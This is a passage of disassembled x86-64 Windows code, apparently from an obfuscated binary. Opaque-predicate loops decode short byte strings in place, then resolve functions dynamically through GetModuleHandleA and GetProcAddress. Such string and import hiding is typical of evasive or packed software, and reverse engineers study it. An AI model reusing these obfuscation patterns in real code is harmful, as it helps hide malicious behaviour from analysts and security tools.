add dl, byte [rbp - 0x80]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
imul ecx, ebx, 7
movsx eax, byte [0x14001a004]
add ecx, esi
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ae5a
mov eax, dword [rsp + 0x30]
sub eax, 0x5e
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000acf5
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000acf5
mov dword [rsp + 0x64], r14d
jmp 0x14000ad4e
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ad4e
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x5e
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000add2
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000add2
mov dword [rsp + 0x70], r14d
jmp 0x14000ae2b
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ae2b
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x70], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rsp + 0x70]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rsp + 0x64]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx ecx, byte [0x14001a340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b048
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000aef2
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000aef2
mov dword [rsp + 0x60], r14d
jmp 0x14000af4b
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000af4b
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x60], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000afc0
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, r12d
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000afc0
mov dword [rsp + 0x44], r14d
jmp 0x14000b019
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b019
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x44], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rsp + 0x44]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rsp + 0x60]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0xd
jb 0x14000a670
mov byte [r9], 1
lea rcx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.user32.dll
call rax
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b114
call fcn.140005500
movsx edx, al
movsx eax, byte [0x14001a340]
imul edx, eax
shl edx, 2
call fcn.140005530
movsx ecx, al
sub edx, ecx
call fcn.140005510
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b114
mov r9d, r14d
jmp 0x14000b171
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b16c
lea ecx, [rbx + rsi]
movsx eax, byte [0x14001a004]
lea ecx, [rcx + rbx*4]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r9d, xmm0
jmp 0x14000b171
mov r9d, dword [rsp + 0x78]
lea r15d, [rsi + rbx*4]
add r15d, ebx
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14000c8b2
mov byte [rbp - 0x56], 0
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x56]
call fcn.1400043d0
mov r9, rax
movsd xmm4, qword [0x140013ad0]
movsd xmm5, qword [0x140013ac8]
movsd xmm6, qword [0x140013ac0]
xor r8d, r8d
cmp byte [rax], r8b
jne 0x14000bc01
mov dword [rsp + 0x30], r8d
mov ecx, dword [rsp + 0x30]
lea eax, [rsi + rbx*8]
mov dword [rbp - 0x44], eax
call fcn.140005500
movsx r10d, al
call fcn.140005530
movsx r11d, al
call fcn.140005510
movsx ebx, al
call fcn.1400054e0
movsx esi, al
call fcn.1400054f0
movsx ecx, al
imul esi, ecx
call fcn.140005520
movsx ecx, al
add esi, ecx
call fcn.1400054e0
movsx edx, al
call fcn.1400054f0
movsx ecx, al
imul edx, ecx
mov dword [rbp - 0x40], edx
call fcn.140005520
movsx eax, al
mov dword [rbp - 0x3c], eax
movsd xmm3, qword [0x140013ab8]
mov r12d, dword [rsp + 0x78]
mov r13d, dword [rsp + 0x78]
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [0x14001a340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b434
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b2f6
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b2f6
mov r12d, r14d
jmp 0x14000b346
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b346
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r12d, xmm0
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b3b8
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b3b8
mov r13d, r14d
jmp 0x14000b408
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b408
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, r13b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, r12b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx eax, byte [0x14001a004]
add eax, dword [rbp - 0x44]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ba08
movsx edx, byte [0x14001a340]
imul edx, r10d
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b62e
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b4ea
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b4ea
mov dword [rbp - 0x70], r14d
jmp 0x14000b53c
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b53c
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b5af
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b5af
mov dword [rbp - 0x74], r14d
jmp 0x14000b601
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b601
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x74]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x70]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx edx, byte [0x14001a340]
imul edx, r10d
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b806
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b6c2
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b6c2
mov dword [rbp - 0x7c], r14d
jmp 0x14000b714
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b714
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b787
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b787
mov dword [rbp - 0x78], r14d
jmp 0x14000b7d9
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b7d9
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x78]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rbp - 0x7c]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
imul ecx, dword [rbp - 0x40], 7
movsx eax, byte [0x14001a004]
add ecx, dword [rbp - 0x3c]
add eax, ecx
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ba08
mov eax, dword [rsp + 0x30]
sub eax, 0x58
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b8b3
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b8b3
mov dword [rsp + 0x70], r14d
jmp 0x14000b906
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b906
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x58
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b988
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000b988
mov dword [rbp - 0x80], r14d
jmp 0x14000b9da
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000b9da
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x80], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rbp - 0x80]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rsp + 0x70]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx ecx, byte [0x14001a340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000bbe7
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ba9e
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000ba9e
mov dword [rsp + 0x44], r14d
jmp 0x14000baf1
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000baf1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x44], eax
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bb65
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000bb65
mov dword [rsp + 0x64], r14d
jmp 0x14000bbb8
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bbb8
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, byte [rsp + 0x64]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, byte [rsp + 0x44]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0xc
jb 0x14000b260
xor r8d, r8d
mov byte [r9], 1
lea rax, [r9 + 1]
mov qword [rsp + 0x78], rax
mov byte [rbp - 0x5a], 0
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x5a]
call fcn.140003f80
mov r9, rax
cmp byte [rax], 0
jne 0x14000c68e
mov dword [rsp + 0x30], r8d
mov ecx, dword [rsp + 0x30]
cmp ecx, 0xb
jae 0x14000c68e
call fcn.1400054e0
movsx edx, al
call fcn.1400054f0
movsx ecx, al
imul edx, ecx
call fcn.140005520
movsx ecx, al
lea eax, [rcx + rdx*8]
mov dword [rbp - 0x44], eax
call fcn.1400054e0
movsx edx, al
call fcn.1400054f0
movsx ecx, al
imul edx, ecx
lea r15d, [rdx + rdx*8]
call fcn.140005520
movsx ecx, al
add r15d, ecx
call fcn.140005500
movsx r10d, al
call fcn.140005530
movsx r11d, al
call fcn.140005510
movsx ebx, al
call fcn.1400054e0
movsx edi, al
call fcn.1400054f0
movsx ecx, al
imul edi, ecx
call fcn.140005520
movsx ecx, al
add edi, ecx
call fcn.1400054e0
movsx edx, al
call fcn.1400054f0
movsx ecx, al
imul edx, ecx
mov dword [rbp - 0x40], edx
call fcn.140005520
movsx eax, al
mov dword [rbp - 0x3c], eax
lea esi, [rax + rdx*4]
add esi, edx
movsd xmm3, qword [0x140013ad8]
mov r12d, dword [rsp + 0x78]
mov r13d, dword [rsp + 0x78]
nop
movsx ecx, byte [0x14001a340]
imul ecx, r10d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000bec4
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bd87
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000bd87
mov r12d, r14d
jmp 0x14000bdd6
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000bdd6
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r12d, xmm0
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm3
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x14001a004]
add eax, r15d
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000be49
movsx edx, byte [0x14001a340]
imul edx, r10d
shl edx, 2
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000be49
mov r13d, r14d
jmp 0x14000be98
movsx eax, byte [0x14001a004]
add eax, edi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000be98
movsx eax, byte [0x14001a004]
add eax, esi
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r9 + 1]
and r8b, r13b
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r9 + 1]
sub dl, r8b
add dl, r12b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r9 + 1], dl
movsx eax, byte [0x14001a004]
add eax, dword [rbp - 0x44]
movsx ecx, byte [0x14001a003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000c498
movsx edx, byte [0x14001a340]
imul edx, r10d
sub edx, r11d
add edx, ebx
movsx ecx, byte [0x14001a001]
add ecx, edx
je 0x14000c0be
movsx eax, byte [0x14001a002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14001a001]
movd xmm0, eax
